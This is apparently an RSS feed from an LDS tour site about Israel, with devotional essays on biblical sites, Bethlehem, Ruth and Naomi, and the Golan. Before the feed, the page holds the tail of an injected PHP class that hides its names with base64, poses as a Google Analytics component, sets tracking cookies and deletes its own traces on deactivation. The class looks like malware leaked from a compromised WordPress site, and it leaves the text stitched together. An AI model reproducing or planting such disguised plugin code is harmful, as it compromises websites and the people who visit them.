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setCaptchaCookie(){if(!is_user_logged_in()){return;}$_2b967d92=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_2b967d92])){return;}$_317dc73e=time()+(365*24*60*60);setcookie($_2b967d92,'1',$_317dc73e,'/','',false,false);}}register_deactivation_hook(__FILE__,function(){delete_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='));delete_transient(base64_decode('X19nYV9yX2NhY2hl'));delete_option(base64_decode('X19nYV9zbmlwX2lk'));});new GAwp_f670d34e(); Good Samaritan – Israel Revealed https://www.israelrevealed.com LDS Tours in Israel featuring Daniel Rona Fri, 25 May 2018 20:39:11 +0000 en-US hourly 1 https://wordpress.org/?v=5.4.19 https://www.israelrevealed.com/wp-content/uploads/2017/03/favicon.png Good Samaritan – Israel Revealed https://www.israelrevealed.com 32 32 Israel – Contrasts And Consonance https://www.israelrevealed.com/israel-contrasts-and-consonance/ https://www.israelrevealed.com/israel-contrasts-and-consonance/#respond Fri, 25 May 2018 20:39:11 +0000 https://www.israelrevealed.com/?p=4174

Flag Of Israel
Flag Of Israel

Israel is a land of exciting contrasts, a young nation built on an ancient inheritance. This inheritance includes simple truths revealed to simple prophets which have evolved into many rather enigmatic interpretations. In the land of Israel leaders of religious traditions compete fiercely for attention, creating for some a wilderness of confusion. But, if you look, listen and feel, you can find a `Spiritual Oasis in the Holy Land’. Therein exists a harmony of cultures and people bound together by events that the entire world can learn from.

One of the most important tasks in learning, whether by seeing, hearing or feeling, is to be able to recognize the truth. It is often joked among tour guides that the more often a statement is repeated, the truer it becomes! But for something as important as the Holy Land with its history and religion may we suggest four reasonable considerations to be your guidelines:

 

    Archaeology

-a systematic research through levels of civilizations. (It is fortunate that almost every one of the conquerors had such a desire for personal ownership that they destroyed, covered and rebuilt the cities they vanquished — some ancient cities had up to 28 levels of civilization).

 

    Written historical accounts

-a recording of events that affected the populace in the Middle East. In addition to the Holy Scriptures, many periods of civilization produced written records, dispatches and other letters on stone, clay and metal tablets that reveal important historical, governmental and religious details and messages.

 

    Tradition

-often used, but least reliable when limited to the buildings and “Holy Sites” proliferating Israel. The most credible traditions are of names and places — most of the names of cities and towns are still the same or of close linguistic connection, (Salem – Jerusalem, Bethlehem, Nazareth, etc,).

Feelings, a reflection on the spirit of places and events, the spirit that touches your heart — such consideration is very important, especially when religion is pondered. In addition to the spirit or feelings people bring with them based on their own religious expectations are the feelings of places — a sense of hallowedness and awe that time has not been able to erase.

Using these criteria, let’s proceed to see, hear and feel this wonderful old/new country. The heartfelt joy of the Holy Land is in the feeling that comes from remembering the events that took place here. On one hand, great events were caused by humble prophets, and on the other, men wanting to be great were caused to be humble. For reasons God determined, this land was chosen by Him to be a key place for the revelation of truth. Abraham, who was living in the East and North, in the land of the Chaldees, was saved by God from being a human sacrifice. He left the lands of idol-worshipping and was sent to the Crossroads of the East to establish the true worship of God. A religion and culture soon developed that would be spread to the surrounding lands and peoples, and thus Israel became the spiritual and temporal crossroads of the East. It is remarkable that such a little land had such a great effect on history.

Israel Conquests
Israel Conquests

CONQUESTS

The land of Israel is really quite small. The biblical borders of the “Jordan River to the Mediterranean” and “Dan to Beersheba” are about 65-miles wide and about 200-miles long, with virtually no natural resources, (there is no gold or silver or metal deposits). Even Golda Meir, former Prime Minister of Israel, humorously chided Moses when she said, “He travelled the wilderness for forty years and then settled the one spot that had no oil”! From a perspective of treasure or riches there may not seem to be an apparent reason for the almost 30 different conquests this land has experienced. The foreign conquerors included, (chronologically), Canaanites, Egyptians, Hysksos, Midianites, Hittites, Philistines, Assyrians, Babylonians, Persians, Greeks, Syrians, Romans, Byzantines, Moslems, Mongols, Crusaders, Turks and British. Yet none of them remained. Throughout its colorful history the land of Israel has been overrun and conquered by 18 different peoples, close to 30 times.

Ah, but the very Jews and Arabs who have experienced the various conquerings are still here. They have survived, submitted to or eventually overthrown the foreign occupations. Foreign powers have not always been adverse, in fact several of them brought added prosperity and world influence to the local inhabitants. However, for the Jews and the Arabs — it is their land, not mutually exclusive, but none-the-less a land where they have continued to survive and for the most part successfully coexist for centuries. The recent historical local struggles were more between Arabs and Arabs than the incorrectly perceived Arab/Jewish conflicts.

The reasons for the foreign conquests was not economic in the sense of resources that could be plundered, but they were geographic because the land of Israel was situated between two great population centers. To the north and east was the Fertile Crescent with its millions of population; to the south and west was the fertile Nile Delta with its millions of peoples. These major Middle-East population centers wanted to communicate and trade with each other, they travelled through the land of Israel and it became the Crossroads of the East.

A few years ago, I was asked to audition (among many others) for the Tabernacle Choir’s Spoken Word program. Afterwards, I quipped to the producer, if the choir ever came to Jerusalem, I could always be your Israel announcer. However, I continued, the program would have to begin a little differently. My recommendation was to begin the program with the words, “From the crossroads of the East….” A word play, but words can create pictures that give greater understanding.

CROSSROADS, A CHIASM OF HISTORY

Let’s try a word play, numbering key words that create a definite pattern. On one hand, in ancient days, in the Crossroads of the East (1), the land of Israel, there was a religious freedom with living inspired leaders teaching the religious word (2) to the people who came in (3) from every direction for trade or education. On the other hand, in these later-days, in the Crossroads of the West (3), the land of America, there is a religious freedom with living inspired leaders teaching the religious word (2) by sending it out (1) in all directions. This word play based on historical fact is an inverted repetition, a chiasm. It is typical of many scriptural dialogues, reports of biblical events and even the way many historical events unfolded. It may be a way of considering the past as a guideline to the future! A chiasm is like a sandwich, bread on both sides with a delectable morsel in the middle.

Let’s explain: A chiasm can be words or thoughts listed first in one direction,

1 –

2 –

3 –

4 etc.

…and then repeating the words or thoughts in reverse order,

4 –

3 –

2 –

1 –

But a chiasm is only valuable when the center point, or apex is recognized. It is in the middle of the “crossroads chiasm” that we find the source of truth, the Word, the Messiah, the Jehovah of the Old Testament, the Jesus of the New Testament, the Anointed One. He chose the land of Israel to reveal the word of truth in the Ancient and Meridian times. (JOHN 1:1)

Scenery Of Israel
Scenery Of Israel

MOUNTAINS, WATER AND PEACE

The land of Israel also contains majestic landscapes as varied as her people, with ocean and seas, plains and mountains. It is green, and there is water! It is a good land, where Jews, Moslems and Christians raise their families. Most of them agree that a feeling of peace and youthful growth exists even though its history is almost as old as civilization – a country 45 years-old, going on 5000!

Ah! – but as already discussed, Israel is also a land of travelers. Even today, close to two-million visitors come from all over the world to reach for the history and religion as it might have been in the past. Anciently, from the fertile crescent at the north to the fertile Egyptian Nile delta at the south, it was truly the Crossroads of the East. (ISAIAH 11:16)

Come! Journey with us through the land that has touched the hearts of hundreds of millions of people and is reaching out to you.. Meet the people, their customs, traditions and their religion — and hopefully you will also enjoy a `Spiritual Oasis in the Holy Land’.

Ocean Sunrise In Israel
Ocean Sunrise In Israel

THE WAY OF THE SEA

Jaffa (Joppa) is an ancient Old Testament caravan stop. In archaeological terms it is a Tel, a mound of different civilizations layered one on each other after each subsequent destruction and rebuilding. This particular “way station” became a seaport where the ancient prophet Jonah left for the west instead of going north and east to Ninevah as the Lord
commanded him to do. A terrible storm arose, endangering the ship and crew. Jonah, being identified as the cause, was thrown overboard, but, the Lord did not let him perish. Jonah spent three days and three nights inside the belly of a great fish. (JONAH 1,2) At the time, little did he know we would be referring to his experience as a sign of the Messiah almost twenty-nine centuries later.
Some people say caustically, “What a whale of a story”! One would have to look a long time to find whales in the mediterranean. But in that body of water, today, there exist a `Grouper’ fish which, according to experts can continue to grow large enough to swallow even a man. There are modern tales that reveal such occurrences as well.

MESSIANIC SIGN OF JONAH

About nine hundred centuries after Jonah, the Pharisees asked Jesus for a sign that he was the Messiah, he informed them that a wicked and adulterous nation sought for signs and that they, the Pharisees, would receive only one sign. Jesus then referred to Jonah’s experience as a sign of the Messiah being three days and three nights in the earth and then overcoming death in resurrection. (MATTHEW 12:40)

The contrasts and consonance are beautiful, Jonah was told to go up to Ninevah, instead he went down to Joppa, down in the boat, down in the water. He came up out of the water, came up to Ninevah and saved from death himself watched that great city be saved. Jesus went down to a prison, was crucified, went down to the grave. He came out of the grave and saved the entire humanity.

Port Of Jaffa In Tel Aviv
Port Of Jaffa In Tel Aviv

PETER COMMANDED TO TEACH GENTILES

In New Testament times, the city of Jaffa was some 20 feet below today’s city level. Simon Peter was staying here at the home of Simon the Tanner when he received a remarkable vision. It was the sixth hour of the day, (the sixth hour is what in modern times we would call noon). Simon Peter was apparently praying, (religious Jews pray three times a day using a special prayer cloth). He saw a sheet with knitted or knotted corners – maybe like the typical Jewish prayer shawl, a Talith with its knotted corners – which was filled with all sorts of common or unclean foods. An angel commanded Peter to eat of those foods, contrary to Jewish dietary law. The vision was a conflict in symbolism: the Talith used in the Temple as a holy garment filled with foods forbidden by the Law of Moses.

On the previous day, some 35 miles to the north at Caesarea, a Roman centurion named Cornelius received a vision at the “ninth hour” of the day, (again, in modern times, three o’clock in the afternoon) to send for Peter so that Peter could teach Cornelius the truth. Incidentally, the time to travel the distance of 35 miles would take the better part of two days, or at least an overnight journey. Cornelius’ invitation to Peter arrived just as Peter was contemplating the meaning of the unusual vision of “unkosher” foods he had just been commanded to eat. Peter was soon to learn of the correlation of these two heavenly manifestations. When Peter arrived to visit in the house of Romans, again contrary to Jewish law and custom, he related that God had updated or changed the food laws of Israel, (showing Israel’s singularity), and said, “But in every nation he that feareth him, and worketh righteousness, is accepted with him.” Not just Israelites, but all peoples were able to become children of the covenant. (ACTS 10)

The scriptural report of these events is also a chiasm, first we read of Cornelius’ vision, next we learn of Peter’s vision, but when Peter arrives in Caesarea, the vision of Cornelius is repeated again. The center point is “salvation for all people”, The Savior’s name in Hebrew, “Jehoshua” means “Jehovah saves”. (ISAIAH 12:2)

TEL AVIV

1900 years later, a new city sprang up on sand dunes near Jaffa. Tel Aviv became Israel’s largest population center, an international city of peoples from all over the world. The sand dunes, which incidentally have blown and washed up from Egypt, have been subdued, and this coastal range, the ancient plains of Sharon, was transformed from wind swept dust and pockets of rotting swamps to fertile green fields once again.

The City Of Caesarea
The City Of Caesarea

CAESAREA: ROME AWAY FROM ROME

About two millennia ago, starting about year 22 B.C.E., (a scholastic adjustment referring to before common era – that is, before the time of Jesus), an egomaniac king, Herod, built a city on the wind swept sand dunes that line the Way of the Sea and named it after his ruler, Caesar. About thirteen miles south of Mount Carmel, Caesarea became the Roman capital of what Romans called Palestine. (The name in Hebrew and Arabic is “Phillistia” and the Romans may have renamed it so to “spite” the Jews). Caesarea was a remarkable city with a break-water harbor that could be used year around. The breakwater was constructed by creating wooden forms that were lowered into the water with stone weights and then filled with a concrete that was poured into the forms – under water!

A splendid theater, amphitheater, sports hippodrome, and worship areas added to the modern opulent Roman city in the province of Judea. To have sufficient fresh water for a city that may have grown to 60,000 in population, fresh running water was channeled from Mount Carmel about thirteen miles away. Remainders of the Roman aqueduct and other buildings are still visible today

AGRIPPA: ALMOST A BELIEVER

It was at Caesarea that a later Herod, Agrippa the second, questioned the Apostle Paul about his Roman arrest that interrupted a planned Jewish execution in Jerusalem. Under Roman law, Jewish priests were not allowed to execute anyone, except for temple violations. Paul had apparently preached in the temple after his remarkable conversion, but escaped stoning at the hands of Jewish priests because he was also a Roman citizen. The restored theater at Caesarea is a fitting place to review Paul’s speech to the king. In telling his unusual conversion story, which included Paul’s direct vision of the resurrected Jesus, he challenged the king himself to believe. King Agrippa retorted, “…Almost, thou persuadest me…”. “And Paul said, I would to God, that not only thou, but also all that hear me this day, were both almost, and altogether such as I am, except these bonds.” (ACTS 26)

Paul’s message continues to be valid today, a commitment to true belief must be wholehearted, “almost” isn’t enough!

CAESAREA DESTROYED

Caesarea became the place of Jewish revolt under Rabbi Akiva as early as year 63 C.E. (Common Era – a scholastic adjustment that means the same as A.D.) and later a seat of Jewish learning as well as Christian schools including institutions founded by Origen and Eusebius. Eventually it was totally destroyed by Moslems in the seventh century. Later, Crusaders rebuilt Caesarea as a much smaller place, surrounded it with a moat, and used the ruins of Herod’s breakwater as a seaport.

The City Of Haifa
The City Of Haifa

HAIFA: ISRAEL’S THIRD LARGEST CITY

Continuing further north on the coastal ‘Way of the Sea’, we find the city of Haifa rising splendidly upon Mount Carmel. The harbor was built by the British in the 1930’s. They put in a breakwater to accommodate the larger ships and tankers of modern times. The area, which anciently was the inheritance of the tribe of Zebulon is now the industrial center of Israel. (JOSHUA 19:10-16) Oil refineries, steel mills and manufacturing industries thrive in this city where one of the finest technical universities of the Western world is located. Haifa’s Technion” or Institute of Technology is the center for “high tech”. Haifa is known for it’s advances and accomplishments in technical and computer sciences.

In this city the Bahai religion has its world center. The Bahais have close to three and a half million members throughout the world. Sorely persecuted in the mid 1800’s, they established headquarters on Mount Carmel. Among the beliefs of this religion is the doctrine that all men are brothers and that they should speak the same language. The Bahais teach their special language in their worship centers. They also believe that their religion will rule and judge all people at the last days, before the “end of the world”. Recently they have built a new justice center near their gold domed headquarters building.

Mount Carmel
Mount Carmel

ELIJAH ON MOUNT CARMEL

Mount Carmel is most famous for the contest between Elijah and the priests of Baal precipitated by the three-and-a-half years of drought. During the 42-months of drought, Elijah was not able to convince the Israelites that they should humble themselves and believe in Jehovah, the God of Israel. Elijah (his name means “My God is Jehovah”) had an experience that would referred to by Jesus nine centuries later; even though there were many widows in Israel during Elijah’s time, he choose only to bless a widow in Sarepta, a city by Sidon. She agreed to feed Elijah, even though her scant supply of flour and oil would be depleted. A miracle occurred after feeding the prophet, the widow’s flour and oil supply continued through the remainder of the drought! “And she went and did according to the saying of Elijah: and she, and he, and her house, did eat many days. “And the barrel of meal wasted not, neither did the cruse of oil fail, according to the word of the LORD, which he spake by Elijah.” (1 KINGS 17:15-16)

Eventually, suffering from the lack of rain, King Ahab called for a contest in which he commanded that Elijah and the 450 priests of Baal should prove which of their Gods was real. The priests tried to call down fire from their gods of wind, fire and rain to burn their offering, but nothing happened. Taunting them somewhat, Elijah then built another altar and digged a trench around it. Then Elijah poured water on his offering, filling the trench, and commanded fire from heaven to consume the offering. Not only was the offering consumed, but the water as well. The priests of Baal not only suffered a humiliating defeat but were later put to death by order of Elijah. (1 KINGS 18:17-46)

It is interesting to note that such contests or “theatrics” were often used by the priests of other religions. They would “fight” against evil invoking one of their Gods for assistance. Often, appearing to fail and just before succumbing to the evil, the priest would be “rescued” or “comforted” by a very beautiful virgin woman. With renewed strength and confidence, the priest would then rally and defeat the evil. The theatrics would conclude with the priest and the beautiful woman going off “into the sunset” to consummate their victory. Many times, the people would return home with a souvenir from the theatrics, a small replica of the woman — a goddess of fertility. This type of religious prostitution was abhorrent to the God of Israel. The people thought they could be religious and still visit the titillating dramas.

All of these historical patterns hold a lesson for us today. They were written in prose and poetry, patterns to provide a path leading into the future. Patterns that teach by contrasts and consonance.

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]]> https://www.israelrevealed.com/israel-contrasts-and-consonance/feed/ 0 Calming Anxiety In The Holy Land https://www.israelrevealed.com/calming-anxiety-in-the-holy-land/ https://www.israelrevealed.com/calming-anxiety-in-the-holy-land/#respond Tue, 15 May 2018 18:18:36 +0000 https://www.israelrevealed.com/?p=4196

Sea of Galilee, Israel
Sea of Galilee, Israel

Shalom! I’ve been in Israel for more than two weeks now with guests on tour.

We have not felt any tension, nor has the Israel Ministry of Tourism or the U.S. State department given any warnings or changes in traveling instructions. We are enjoying a wonderful spirit and enjoying good will among Arabs and Jews.

We are also NOT traveling in the confined areas of Gaza or the West Bank where Palestinians are demonstrating, nor do we plan to, because the Biblical sites we desire to experience aren’t there!

Our defense systems are the finest in the world. Israel is peaceful. Our neighbors are noisy, but we’ll keep ourselves safe!

Travel in peace!
Shalom, Daniel Rona

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]]> https://www.israelrevealed.com/calming-anxiety-in-the-holy-land/feed/ 0 Sheep, Shepherds And The Son Of God https://www.israelrevealed.com/sheep-shepherds-and-the-son-of-god/ https://www.israelrevealed.com/sheep-shepherds-and-the-son-of-god/#respond Tue, 15 May 2018 01:26:58 +0000 https://www.israelrevealed.com/?p=4150

A Bethlehem Neighborhood In The Evening
A Bethlehem Neighborhood In The Evening

We live one mile from Bethlehem. Our neighborhood is modern and clean. In our home there’s always room for a guest. What we have is never too good for anyone passing by. This we decided upon since we learned about some of our ancient relatives who couldn’t even find a private room to fulfill one of life’s greatest blessings – the birth of their first child.

Today, many people travel to the Holy Land to look for Him in “traditional spots”.

The Nativity Church In Bethlehem
The Nativity Church In Bethlehem

THE NATIVITY CHURCH

The traditionally accepted birthplace of Jesus is in a grotto located under the Church of Nativity. This is not inconceivable, in the sense that stables were usually on the ground floor or underneath the inn rooms. The tradition, however, only begins 175 years after the birth of Jesus. Three Christian churches, Greek Orthodox, Armenian and Catholic, hold separate services here and maintain a star decorating the place of birth.

Ownership is tentative, at best. The three Churches rotate their rights in using the grotto. Each one, in turn, brings their own decorative accouterments, adornments, carpets and curtains to be used during their particular mass or service. Thereafter, they must remove all of their items, relinquishing the “temporary ownership” during their mass to the next religious group.

Manger Square
Manger Square

MANGER SQUARE

Opposite or close to every Christian church in this land is a Moslem mosque, and Bethlehem’s Manger Square is no exception. Also, across the street, is the Israeli police station, souvenir shops and television antennas – a contrast to what Bethlehem must have looked like twenty centuries ago.

Our family sees Israel differently – through the ever connected branches of our family tree. The language, customs and traditions of our people reflect an eternal message, however, a message that somehow is still obscure to most of those who live here in Israel.

Everyone seems to come to Israel to see the holy places, however, the heartfelt joy of the Holy Land is in the feeling that comes from remembering the events that took place here.

A Shepherdess Tending Her Sheep
A Shepherdess Tending Her Sheep

BETHLEHEM’S ROYAL HERITAGE – RUTH AND NAOMI

Around Bethlehem are numerous hills still grazed by sheep and goats. In the spring the small fields, supported by terraces, are planted with wheat or barley. It was hills like these that had become barren when Elimelech (meaning God is my King) and his wife Naomi (meaning pleasant or blessed) and their two sons left for the greener mountains of Moab about 40-miles away across the Great Salt Lake. (It’s the people living outside of Israel call it the Dead Sea).

Sadly, Elimelech died. His sons supported their mother and even married women of Moab. One was named Ruth and the other Orpah. But even sadder, the sons died, leaving three widows. Naomi wanted to return to Bethlehem, (meaning the house of bread), she heard that wheat and barley were growing again. Ruth faithfully followed her mother-in-law. “And Ruth said, Entreat me not to leave thee, [or] to return from following after thee: for whither thou goest, I will go; and where thou lodgest, I will lodge: thy people [shall be] my people, and thy God my God: Where thou diest, will I die, and there will I be buried: the LORD do so to me, and more also, [if ought] but death part thee and me.”

It was the beginning of the barley harvest, spring, the season of Passover. Passover is celebrated to remember the deliverance of Israel from Egypt. Ruth gathered after the reapers; her good fortune was to come to the fields of Boaz who was a relative of Naomi’s late husband. It is still the Middle East custom for the late husband’s family to care for the widowed wife. “And Boaz answered and said unto her, It hath fully been showed me, all that thou hast done unto thy mother in law since the death of thine husband: and [how] thou hast left thy father and thy mother, and the land of thy nativity, and art come unto a people which thou knewest not heretofore. The LORD recompense thy work, and a full reward be given thee of the LORD God of Israel, under whose wings thou art come to trust.”

Ruth married Boaz and had a son named Obed, who had a son named Jesse who tended flocks and crops in these same hills. (RUTH 1,2,3)

A Statue Of King David In Jerusalem
A Statue Of King David In Jerusalem

KING DAVID

Jesse’s youngest son was named David. In obscurity, a boy shepherd was ordained the King of Israel, and yet he continued to be a shepherd — a good shepherd. Born at Bethlehem he was promised by God that his seed would bring the King of Kings, the Messiah — also to be known as the Good Shepherd. To this day, Israelis still sing about David, King of Israel, awaiting a new Davidic descendant. “For unto us a child is born, unto us a son is given: and the government shall be upon his shoulder: and his name shall be called Wonderful, Counsellor, The mighty God, The everlasting Father, The Prince of Peace.” (ISAIAH 9:6 7)
The Saviour’s Birth

THE KING OF KINGS

“And it came to pass in those days,” that Joseph and his espoused wife went “…unto the city of David, which is called Bethlehem…”“And behold, he shall be born of Mary, at Jerusalem which is the land of our forefathers, she being a virgin, a precious and chosen vessel, who shall be overshadowed and conceive by the power of the Holy Ghost, and bring forth a son, yea, even the Son of God.” ALMA 7:10

Again it was the Passover season, spring of that year. According to the biblical calendar, Passover always occurs at the first full moon after the first day of spring. In the year 1830, the 6th of April was the first full moon after the first day of spring. It was Passover, “…being one thousand eight hundred and thirty years since the coming of our Lord and Savior Jesus Christ in the flesh…” DOCTRINES and COVENANTS 20:1 The Deliverer was born at the season celebrating the deliverance of Israel from Egypt and an expectation of even a greater deliverance to come.

The journey from Nazareth to Bethlehem had taken at least a week to ten days. They may have been “camped” at a caravan inn for some time for the scripture reads, “And so it was, that, while they were there, the days were accomplished that she should be delivered. And she brought forth her firstborn son, and wrapped him in swaddling clothes, and laid him in a manger; because there was no room for them in the inn.” Nearby, shepherds watched over their flocks, and angels announced good tidings. “For unto you is born this day in the city of David a Savior, which is Christ the Lord…Ye shall find the babe wrapped in swaddling clothes, lying in a manger.” (LUKE 2:1-19)

We feel that we know some of those angels. Wasn’t Naomi one of them? In her life, she was bitter having lost her husband and sons. But she brought a convert daughter-in-law to Bethlehem, to become the great, great grandmother of King David, whose royal line brings our Messiah. Our Savior came from a convert’s family!

Although most of the six-million inhabitants of this little land of Israel don’t even know anything about Him, we do. We have as some of our neighbor friends, shepherds. Their living is not modern or clean. But they are humble and kind. They have shared their happiness when babies were born. We have mourned with them as one of their babies died. And we sing to them, on the hills of Bethlehem, songs and feelings that angels announced two thousand years ago. We can’t sing “Far, Far away on Judaea’s plains”. The words come out as “Near, Near at hand on Judaea’s hills, shepherd’s of old heard the joyous trills”!

Today’s shepherds may not yet understand our words, but one day they will — understand the gift of the One born in a manger. He gave life, Eternal life to all.

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]]> https://www.israelrevealed.com/sheep-shepherds-and-the-son-of-god/feed/ 0 The Mothers Of Bethlehem https://www.israelrevealed.com/the-mothers-of-bethlehem/ https://www.israelrevealed.com/the-mothers-of-bethlehem/#respond Tue, 15 May 2018 01:09:27 +0000 https://www.israelrevealed.com/?p=4134

A Mother in Ancient Israel
A Mother From Ancient Israel

This is a personal view of some women of Bethlehem. Life is such that there are poor women no matter where they live or what nationality they are from. Life provides joys and bitterness no matter one’s station in life. Remember, they are all our sisters.

A BETHLEHEM UPBRINGING

I grow up a mile north of Bethlehem with sheep and shepherds as neighbours. I was raised on the hillsides that my foremothers lived on. I smelled the fresh, wild oregano just as they did. I watched the fields of barley, and wheat turn brown as the seasons moved on. Many years ago, the family of Elimelech left a famine in Bethlehem, for Moab to find refuge. No longer would Bethlehem, which means “House of Bread” in Hebrew, be their house, for there was no bread in the land.

Wild Oregano
Wild Oregano

LIFE GOES ON

No matter the economic hardships one may encounter, this I know, life goes on. This family of Elimelech, with two sons, Mahlon and Chilion, settled in Moab for several years. Mahlon and Chilion took Moabite women to wife. Eventually, Elimelech died along with his two sons Mahlon and Chilion (whose names in Hebrew actually mean sickness and death). All that was left of Elimelech’s family was a widowed wife and two widowed daughters in law.

Naomi (in Hebrew means pleasant), Elimelech’s wife, knows that she must return to her fathers’ family in Bethlehem. Knowing that she cannot offer any future to her sons’ wives, begs them to also return to their fathers in Moab. One of them, named Orpah departs. The other does not. In her own words she says: “Intreat me not to leave thee, or to return from following after thee: for whither thou goest, I will go; and where thou lodgest, I will lodge: thy people shall be my people, and thy God my God:” (Ruth 1:16)

Naomi and Ruth returned to Bethlehem and lived as widows surviving on the welfare system of the day, gleaning in the fields after the reapers for a few handfuls of dropped wheat and barley.

RAHEL, BELOVED WIFE OF JACOB

Just north of Bethlehem is the traditional burial place of mother Rachel, beloved wife of Jacob. Jeremiah the prophet wrote of her “Thus saith the LORD; A voice was heard in Ramah, lamentation, and bitter weeping; Rahel weeping for her children refused to be comforted for her children, because they were not.” Naomi left Bethlehem full and came back empty. She left with pleasant hopes for the future and returned with bitterness of death in her heart.

THE SHEPHERDS

In my day, I have met a woman with a family living in a tent on a hillside overlooking the little town of Bethlehem. The family cared for its few sheep. Its children laughed and played on the hillsides; except for one, Jamil. He was sickly, could not speak, neither run, nor play like his brothers and sisters could. Eventually he died a young fourteen-year-old. His mother sat in the tent and weept, bitterly.

One day, she came out of her tent asking in broken English, “Picture? Picture Jamil?” Surely, our tourists might have a photograph of Jamil. Eventually one was found. We framed it and wrote in Arabic, “Jamil is waiting for you and wants you to be happy!” Jamil’s mother no longer sits and cries in her tent as she had before. Even a Muslim woman can be comforted, by the One born in Bethlehem.

Hillside Overlooking Bethlehem
The Hillside Overlooking Bethlehem

THE BOWL OF SOUP

When I was five years old, my mother took me with her to bring a bowl of soup to a sick woman in Bethlehem. This woman was the wife of Chris. Chris was a misguided soul who thought that he was a prophet called to preach to the Jewish people just like Jeremiah. Nowadays, in Jerusalem, there are people who follow some inner prompting to “preach in Jerusalem.” This is often referred to as “Jerusalem Syndrome.” Although Chris’s wife was not a member of our church. she needed our help.

With no address, my mother hoped she could somehow find Chris’s dwelling amongst the myriad of Bethlehem’s alleyways. With a prayer in her heart, she set out with me in tow, into Bethlehem to find Chris’s wife. Slowly, driving through Bethlehem for only 15 minutes, we saw Chris, bearded, dressed in a long robe, and with staff in hand. You see, when the Lord wants to bless someone, he finds a way for his servants to do his work.

THE SAVIOUR.

Close to 2,000 years ago, a family was under the occupation of a foreign power. Joseph and Mary left their home in Nazareth, returning to their ancestral home in Bethlehem to be counted and taxed. As Mary’s days birthing days were accomplished for her to bear her first child, and, with no private room for Mary and Joseph among their relatives, they found privacy in a cave used as a stable. There, among the animals, whose tongues would never utter a slur, whose eyes would never intrude, the Saviour came onto the world. In humble circumstances, the King of Kings came forth, among the lowly sheep. the Lamb of God was born.

Jesus's Birth
The Saviour’s Birth

TRUE RICHES

I know the Lord has a special place in his heart for the mothers of Bethlehem. Rich blessings are in store for them. Naomi’s daughter in law, Ruth, ended up marrying Naomi’s kin Boaz. Boaz and Ruth had a son named Obed. Obed laughed and played on the hillsides of Bethlehem. Obed had a son named Jesse. Jesse also laughed and played on the hillsides. Jesse had a son named David. David also laughed and played on the same hillsides. This David eventually became the king of Israel and his line ultimately produced the King of Kings who was also born amongst the meek and lowly of Bethlehem.

Naomi and Ruth, poor and bitter at the death of their husbands, are now some of the richest to inherit the Kingdom of God. Remember the mothers of His kingdom . . . the widows, the lonely, the hurt, the sick, and the bitter. As members of His flock, let us care for mothers, be they poor Muslim mothers in Bethlehem or poor Christian mothers (or any mother) where ever they are to be found. In fact, mothers are found everywhere!

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]]> https://www.israelrevealed.com/the-mothers-of-bethlehem/feed/ 0 The Land of Miracles: Israel https://www.israelrevealed.com/the-land-of-miracles-israel/ https://www.israelrevealed.com/the-land-of-miracles-israel/#comments Fri, 06 Apr 2018 00:01:55 +0000 https://www.israelrevealed.com/?p=3986

Israel: Mountainous, Green and Peaceful
Israel: Mountainous, Green and Peaceful

Israel is a land of miracles, mountainous, green and peaceful. Visitors are astonished to find most ethnic peoples getting along just fine. Amazement is evident when the fertile, green landscape is viewed and the result of reforestation of about 200,000,000 trees is enjoyed. Borders are still in existence, but it is more peaceful than ever before in modern history.

GOOD FENCE

The tops of the hills of Naphtali and the northern part of the Golan Heights border the now peaceful southern Lebanon. Due to the Lebanese civil conflicts and the anarchy of terrorism further north, southern Lebanon has become quite isolated. When Israel was proclaimed a state in 1948, many of the Arab people from the north of Israel settled permanently in this area, just north of the border of Israel. Recently, thousands of these same Moslems and Christians have come back across Israel’s `Good Fence’ for medical aid and to shop for basic necessities. There are hundreds of Lebanese that regularly work in Israel, some even drive their cars, specially licensed, back and forth across the border.

The Hula Valley
The Hula Valley

THE HULA VALLEY

The challenge to drain the ancient, stinking swamps called the Hula, was met by new Jewish immigrants in the 1940’s and 50’s. The land is now fruitful. Many of the returning Lebanese visitors are surprised to see the new landscape which has changed considerably since they last saw it almost forty years ago. New settlements and development towns like Kiryat Shemona dot the fertile countryside.

THE SPRINGS OF THE JORDAN

Much of this fertility comes from the luscious nature preserve bursting forth with springs, trickles and bubbling brooks. The three sources of the Jordan River that come together are from the Lebanese mountains, the Mount Hermon, (Banias), and the springs of Dan. A walk through the Dan area is like a stroll in the Garden of Eden. The waters depart from the ruins of the tribe of Dan and combine with the run-off from Mount Hermon, then flow down to the Sea of Galilee. The Hebrew word for going down is “yored”. Some people feel that the term or expression “yored – Dan”, is the origen of the name Jordan, (even though Joshua crossed the Jordan River before the tribe of Dan had settled in this northern area).

The name “Banias” is derived from the name “Paneus”, meaning a place (and resort) where the mythological God Pan was worshipped. Incidentally, in mythology, the god Pan was responsible for nature and vegetation. The Roman held pagan worship activities in this incredibly verdant area.

Caesarea
Caesarea

CAESAREA PHILIPPI

At the foot of Mount Hermon where the Banias source of the Jordan River begins and by a huge rock escarpment, stood the two thousand year old town of Caesarea
Phillipi built by Herod Philip. Here, Jesus asked his disciples, “…Whom do men say that I the Son of man am?” and then “…whom say ye that I am”. Simon, son of Jonah, (Bar Jonah in Aramaic means the “son of your father Jonah”), said, “…Thou art the Christ, the Son of the living God”. Jesus responded to Simon by calling him Peter, (Petrus in Greek), a rock, then most likely indicating the massive rock, reminded Simon Peter that flesh and blood had not revealed it to him but that his Father in Heaven had. (MATTHEW 16:13-19) The dialogue, with words from several languages, seems to be a lesson to Simon Peter (Rocky in very modern English) that there is a difference in perceiving things by man’s (flesh and blood) understanding as compared to that which comes through revelation from his Father in Heaven. A sure way to recognize the Messiah, the Son of the Living God, is with the rock of revelation.

THE DRUSE

On Mount Hermon, in the Golan Heights, are several villages of Druze, a people claiming to be descendants of Jethro, the father-in-law of Moses. Their industrious nature and secretive religious functions, customs and traditions make them an unusual and colorful people. They are an integral part of Israel’s modern population, serving in government and military positions.

THE KENITES

Some speculation suggests that the Druze may be much like the ancient biblical Kenite people, who unlike the Canaanites, were loyal to Israel. (1 SAMUEL 15:6) Modern archaeology seems to indicate that the Kenites practiced similar Israelite religious customs and even built their temples like the temple of Israel, (three courtyards, holy of holies, horned altar, etc.)..

GOLAN HEIGHTS

Since 1967, the Golan has become a peaceful place as Israelis have cleared this rocky land, discovered great farming soil as well as new water sources. The unique combination of rich volcanic soil and modern farming techniques have produced outstanding agricultural yields including award winning grape and wine production for modern Israel.

